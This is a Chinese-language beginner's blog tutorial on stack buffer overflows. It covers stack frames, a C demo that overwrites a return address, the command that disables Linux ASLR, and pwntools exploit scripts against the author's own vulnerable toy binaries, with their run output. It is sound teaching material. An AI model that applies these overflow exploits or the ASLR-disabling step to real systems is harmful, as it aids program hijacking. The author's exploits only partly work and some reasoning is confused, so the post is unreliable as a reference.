栈溢出 hack 入门例子 hello world

栈溢出示例代码:

  1. #include<Windows.h>
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4.  
  5.  
  6. void Msg() {
  7. MessageBoxA(NULL, "嘿嘿!", "堆栈溢出测试", 0);
  8. }
  9.  
  10. int Add(int a, int b) {
  11. int* p = &a;
  12. *(p-1) = (int)Msg;
  13. return a + b;
  14. }
  15.  
  16. void main() {
  17. printf("%d", Add(1, 2));
  18. system("pause");
  19. return;
  20. }

运行结果:

按下确定以后出现异常:

 

首先在讲解原理之前首先介绍一些基本知识便于理解原理:

汇编层面的函数调用过程

  每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。

下图表示当正在执行FunctonA函数时的栈情况:系统栈可以认为是全部栈空间。栈帧对应每一个函数调用,EBP寄存器存放当前活动栈帧的栈底,ESP寄存器存放当前活动栈帧的栈顶。当前函数可以在当前的栈帧区域内存放局部变量和信息,全局的变量不存放在栈,有专门的区域存放。

 下图表示call FunctionB之前做的工作:首先PUSH 函数的参数,从右向左压入,然后保存call FunctionB下一条指令的地址,便于函数返回。这个保存下一条指令地址和跳转到FunctionB处由 call 指令完成。

下图表示创建新的FunctionB的栈帧:首先PUSH EBP 保存旧栈帧的栈底,用于函数返回。然后MOV EBP,ESP,设置当前EBP为旧栈帧栈底的地址处(如下图),最后SUB ESP, 0X0C0H ,ESP向上开辟空间,具体开辟多少根据编译器。到此新的栈帧开辟完了。(题外话:FunctionB可以通过EBP+8 获取到arg0,EBP+12获取到arg1,这就是为什么倒着压入参数的原因。如果FunctionB里面有局部变量,则可以放在EBP和ESP这段栈空间里面。)

下图表示FunctionB函数返回后栈的变化:首先 MOV ESP,EBP POP EBP来还原EBP为旧的栈帧栈底。然后RET 到call FunctionB的下一条指令处(RET 包含POP JMP,所以下一条指令地址恰好被提出),最后ADD ESP,8 ,去掉压入的参数,8是因为压入了2个参数。到此已经还原了原来的环境了。整个调用过程结束了。

 

现在进入主题,介绍原理:上面的代码核心思想就是改变调用Add(1,2)时,改变返回的地址(就是下一条指令的地址):

修改这个地址内容为Msg()入口地址,这样就会执行Msg()代码。关键时怎么确定这个地址,然后写入Msg()入口地址搞定他。其实我们可以通过Add(int a,int b)的参数a确定下一条地址的地址,如图:获取a变量的地址,然后向上退就可以到下一条指令的地址,如后覆盖为Msg(),入口地址即可。

关键代码解释:

  1. int* p = &a;//获取a变量的地址
  2. *(p-1) = (int)Msg;//上退覆盖地址为Msg入口地址,这里(p-1)而不是-4是因为p为地址,减一就是减一个字

    

首先需要补充一下aslr,linux下:

我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

栈溢出原理

最基本的栈溢出原理无非就是通过控制输入, 填充, 覆盖掉ebp, 同时重写返回地址。下面这个例子的最终目的是通过栈溢出,获得shell。

比如:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

当然我是把很多模式都关掉了

 % checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

使用 -fno-stack-protector-no-pie关闭canaryPIE

IDA拖进去之后主要是看vulnerable函数

int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&s);
  return puts(&s);
}

可以知道s距离 ebp为0x14h个字节

直接冲掉, 同时把返回地址变成我们想要的(看最上面的例子就知道为何是14了,70-56=14

.text:08048456 success         proc near
.text:08048456
.text:08048456 var_4           = dword ptr -4
.text:08048456
.text:08048456                 push    ebp
.text:08048457                 mov     ebp, esp
.text:08048459                 push    ebx
.text:0804845A                 sub     esp, 4
.text:0804845D                 call    __x86_get_pc_thunk_ax
.text:08048462                 add     eax, 1B9Eh
.text:08048467                 sub     esp, 0Ch
.text:0804846A                 lea     edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it."
.text:08048470                 push    edx             ; s
.text:08048471                 mov     ebx, eax
.text:08048473                 call    _puts
.text:08048478                 add     esp, 10h
.text:0804847B                 nop
.text:0804847C                 mov     ebx, [ebp+var_4]
.text:0804847F                 leave
.text:08048480                 retn
.text:08048480 success         endp

返回地址需要变成 0x08048456  ----???为啥是这个???

然后写exp

from pwn import *

context.binary = './stack_example'
if args['DEBUG']:
    context.log_level = 'debug'


#context.log_level = 'debug'

p = process('./stack_example')

payload = 'a'*0x14+'bbbb'

payload += p32(0x08048456)

p.sendline(payload)

p.interactive()

结果:

 % python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbVx84x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512)
[*] Got EOF while sending in interactive

在我的mac docker kali linux环境下运行:

cc -fno-stack-protector -no-pie bone.c -o bone
gdb bone

 通过汇编查看反汇编码:

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040116d <+0>:    push   %rbp
   0x000000000040116e <+1>:    mov    %rsp,%rbp
   0x0000000000401171 <+4>:    sub    $0x10,%rsp
   0x0000000000401175 <+8>:    mov    %edi,-0x4(%rbp)
   0x0000000000401178 <+11>:    mov    %rsi,-0x10(%rbp)
   0x000000000040117c <+15>:    mov    $0x0,%eax
   0x0000000000401181 <+20>:    callq  0x401145 <vulnerable>
   0x0000000000401186 <+25>:    mov    $0x0,%eax
   0x000000000040118b <+30>:    leaveq
   0x000000000040118c <+31>:    retq   
End of assembler dump.
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
   0x0000000000401145 <+0>:    push   %rbp // 看来我是应该覆盖这个地址
   0x0000000000401146 <+1>:    mov    %rsp,%rbp
   0x0000000000401149 <+4>:    sub    $0x10,%rsp
   0x000000000040114d <+8>:    lea    -0xc(%rbp),%rax
   0x0000000000401151 <+12>:    mov    %rax,%rdi
   0x0000000000401154 <+15>:    mov    $0x0,%eax
   0x0000000000401159 <+20>:    callq  0x401040 <gets@plt>
   0x000000000040115e <+25>:    lea    -0xc(%rbp),%rax
   0x0000000000401162 <+29>:    mov    %rax,%rdi
   0x0000000000401165 <+32>:    callq  0x401030 <puts@plt>
   0x000000000040116a <+37>:    nop
   0x000000000040116b <+38>:    leaveq
   0x000000000040116c <+39>:    retq   
End of assembler dump.
(gdb) q
于是我的pwn代码编写如下:
from pwn import *

context.binary = './bone'
if args['DEBUG']:
    context.log_level = 'debug'


#context.log_level = 'debug'

p = process('./bone')

payload = 'a'*0x14+'bbbb'

addr = 0x0000000000401145
payload += p64(addr).decode()

p.sendline(payload)

p.interactive()

 运行:

../code/pwn_demo# python3 exp.py 
[*] '/home/bonelee/shell_coders_handbook/code/pwn_demo/bone'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './bone': pid 3931
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbEx11
[*] Got EOF while reading in interactive
$ whoami
[*] Process './bone' stopped with exit code -11 (SIGSEGV) (pid 3931)
[*] Got EOF while sending in interactive

虽然是获得了$,但是执行命令没有返回,貌似这个例子不完美。

后面再深入学吧,总算是完成了hello world。



原文地址:https://www.cnblogs.com/bonelee/p/13765435.html